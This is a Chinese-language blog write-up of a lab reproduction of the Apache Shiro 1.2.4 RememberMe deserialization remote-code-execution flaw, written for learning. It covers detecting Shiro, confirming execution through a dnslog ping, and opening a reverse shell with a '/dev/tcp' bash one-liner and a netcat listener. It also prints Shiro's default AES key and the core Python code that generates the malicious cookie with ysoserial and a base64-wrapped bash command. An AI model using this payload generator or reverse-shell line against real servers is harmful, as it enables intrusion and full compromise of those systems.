Shiro作為Java的一個安全框架,其中提供了登錄時的RememberMe功能,讓用戶在瀏覽器關閉重新打開后依然能恢復之前的會話。而實現原理就是將儲存用戶身份的對象序列化並通過AES加密、base64編碼儲存在cookie中,只要能偽造cookie就能讓服務器反序列化任意對象,而1.2.4版本及以下AES加密時采用的key是硬編碼在代碼中的,這就為偽造cookie提供了機會。只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞【6】;
整個漏洞的測試和利用流程如下:
1、環境說明:
(1)靶機:VM裝kali, IP:192.168.40.130
攻擊機:win10物理機,IP:198.168.40.129
(2)下方參考有kali配置docker和shiro的說明,配置好后用物理機訪問虛擬機如下:
2、(1)探測:在login界面隨便輸入賬號,點擊登陸,然后抓包,發現返回包的set-cookie有rememberMe=deleteMe字樣,說明對方使用了shiro
(2)https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 在這里下載別人已經寫好的工具;本人在內網做測試,沒有公網地址,也沒有VPS,加上這個漏洞也沒有回顯,這里接用dnslog測試RCE是否成功。
- 先在dnslog申請個子域名:jv39jb.dnslog.cn
- 再用這個剛才下載的python腳本生成payload:ping一下剛才申請的那個域名
payload拼接到cookie(去掉原來的jession字段,只用生成的這個payload),然后發包:
再去dnglog查看,已經ping了,充分說明這個漏洞是存在並且可以利用的;
3、建立反彈shell:靶機和攻擊機都在192.168.40網段,是可以讓靶機反彈shell到攻擊機的;建議先關閉window自帶的defender防火牆,避免鏈接被攔截;
(1)攻擊機是windows,先下載一個netcat(https://eternallybored.org/misc/netcat/),再把netcat的路徑寫入環境變量,我這里在4444端口監聽:
(2)所有流程重走一遍:先生成payload,這次換成反彈shell:
生成的shell發出去:
成功接受到靶機kali 的反彈shell:前面有報錯,並且后面的shell也沒法查看home目錄的文件;無奈之下把錯誤提示google一番,發現是shiro在docker運行導致的,這個反彈shell就是靶機docker環境的shell,並非靶機的root shell,這是不是側面說明了在docker中啟動各種服務更安全了(由於docker的隔離,反彈shell權限受限)?
這里直接在靶機下運行payload:bash -i >& /dev/tcp/192.168.40.129/4444 0>&1,反彈shell如下(kali路徑有中文,所以反彈回來的shell有亂碼):一切正常!
4、做完了測試,最重要的就是學習這個RCE的原理了;Shiro≤1.2.4版本默認使用CookieRememberMeManager,當獲取用戶請求時,大致的關鍵處理過程如下:
- 獲取Cookie中rememberMe的值
- 對rememberMe進行Base64解碼
- 使用AES進行解密
- 對解密的值進行反序列化
我個人覺得最大的問題出在了AES加密這里;總所周知,AES是對稱加密,服務端和客戶端用的key都是一樣的;shiro的開發人員給了默認的key,如下:極易導泄露;(這里多說一句:很多勒索病毒都用非對稱加密算法的,根據客戶端的mac、硬盤或其他硬件id生成密鑰對,公鑰在客戶端加密,私鑰保留在自己的服務端;每個客戶端都有單獨的解密私鑰,私鑰之間沒任何關系,互相不影響)
拿到AES的key后,就可以開始構造payload了:先明確需要服務器執行的命令,然后base64編碼,最后用上面的這個key加密,整個payload的構造代碼在shiro_1.2.4.py中,核心代碼如下:
def encode_rememberme(data, module): # module is JRMPClient or CommonsCollections2 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', module, data], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv)#用公開的key加密 file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def generate_cookie_rememberme(file_path, data): file_path = file_path sys_argv_red = data ip_port_pattern = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}$') switch_result = ip_port_pattern.search(sys_argv_red) if switch_result is not None and switch_result is not "": try: payload_rebound = encode_rememberme(sys_argv_red, 'JRMPClient') except Exception as error: print("Generate cookie Error: {0}: {1}".format(Exception, error)) return False cookie = "rememberMe={0}".format(payload_rebound.decode()) print("Generate cookie success\n") if file_contents_operate(file_path, method='w', contents=cookie): print("{0}".format(cookie)) print("\ncookie value in payload.cookie.txt\n") return cookie else: print("!!!Cookie rememberMe write file error\n") print("{0}".format(cookie)) return False else: string = str(base64.b64encode(sys_argv_red.encode(encoding="utf-8")), encoding="utf-8") #payload用base64編碼 bash_java_base64_encode_str = "bash -c {{echo,{0}}}|{{base64,-d}}|{{bash,-i}}".format(string) try: payload_command = encode_rememberme(bash_java_base64_encode_str, 'CommonsCollections2')#編碼后的payload再加密 except Exception as error: print("Generate cookie Error: {0}: {1}".format(Exception, error)) return False cookie = "rememberMe={0}".format(payload_command.decode()) print("Generate cookie success\n") if file_contents_operate(file_path, method='w', contents=cookie): print("{0}".format(cookie)) print("\ncookie value in payload.cookie.txt\n") return cookie else: print("!!!Cookie rememberMe write file error\n") print("{0}".format(cookie)) return False
靶機收到cookie后,先解密,再解碼,最后進入這里的反序列化函數,如下;這里需要注意的是Shiro並不是使用原生的反序列化,而是重寫了ObjectInputStream.resolveClass()方法,最大的坑就在這了: resolveClass未采用class.forName,而是ClassLoader.loadClass();更詳細的反序列化漏洞原因解析,可參考【9】:Shiro RememberMe 漏洞檢測的探索之路;
參考:
1、https://cloud.tencent.com/developer/article/1556595 Apache Shiro反序列化遠程代碼執行復現及“批量殺雞”
2、https://blog.csdn.net/weixin_44067239/article/details/106918315 Shiro RememberMe 1.2.4 反序列化命令執行漏洞復現 kali docker
3、https://www.meiyoubug.com/article/79567.html kali-2020配置docker
4、https://wh1te.fun/2020/06/21/Apache%20Shiro%20%3C%201.2.4%20RCE%20%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/ Apache Shiro < 1.2.4 RCE 漏洞復現與利用
5、https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 利用的payload
6、https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ Shiro 1.2.4 反序列化漏洞
7、https://blog.csdn.net/zoulonglong/article/details/79552813 python3.6 錯誤: ModuleNotFoundError:No module named "Crypto"
8、https://p0rz9.github.io/2019/07/18/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ Shiro反序列化漏洞分析
9、https://mp.weixin.qq.com/s/jV3B6IsPARRaxetZUht57w Shiro RememberMe 漏洞檢測的探索之路